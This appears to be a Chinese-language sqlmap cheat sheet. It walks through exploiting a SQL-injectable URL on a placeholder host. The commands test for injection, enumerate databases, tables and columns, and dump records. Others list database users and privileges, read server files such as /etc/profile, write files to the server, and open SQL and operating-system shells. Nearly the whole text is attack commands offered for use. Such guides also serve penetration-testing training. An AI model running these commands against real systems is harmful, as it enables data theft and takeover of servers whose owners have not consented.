一,Sqlmap 注入
1,检查目标是否可以注入
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1
2,查出所有数据库
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --dbs
3,查询出当前web系统所使用多数据库信息
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --current-db
4,查询出某个数据库多所有表
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 -D school(数据库名) --tables
5,查询出某个数据库中某个表多所有列名
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 -D school(数据库名) -T student(学生表)--columns
查询出 school 这个数据库多所有表
6,查询出某个表多所有字段和值多信息
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 -D school(数据库名) -T student(student表) -C name,age,sex(学生多姓名,年龄,性别字段) --dump
二,Sqlmap用户权限
1,列出数据库管理系统用户
C:\sqlmap> sqlmap.py -u http://192.168.1.1/sql.php?id=1 --users
2,列出当前web系统中数据库配置的用户
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --current-user
3,查看当前数据库用户是否所管理员DBA
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --is-dba
4,查看用户权限
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --privileges
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --privileges -U zhangsan
三,Sqlmap文件操作
1,读取服务器上指定文件
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --file-read=/etc/profile (在windows服务器上: --file-read=C:/test.txt)
2,上传本地文件到服务器上
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --file-write /test/1.txt --file-dest /etc/test/1.txt
三,Sqlmap shell提权
1,sql-shell 直接操作sql语句
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --sql-shell
sql-shell> select version();
注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;
2,执行 cmd shell 进行交互
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --os-cmd=ipconfig
C:\sqlmap> sqlmap.py -u http://192.168.1.1/index.php?id=1 --os-shell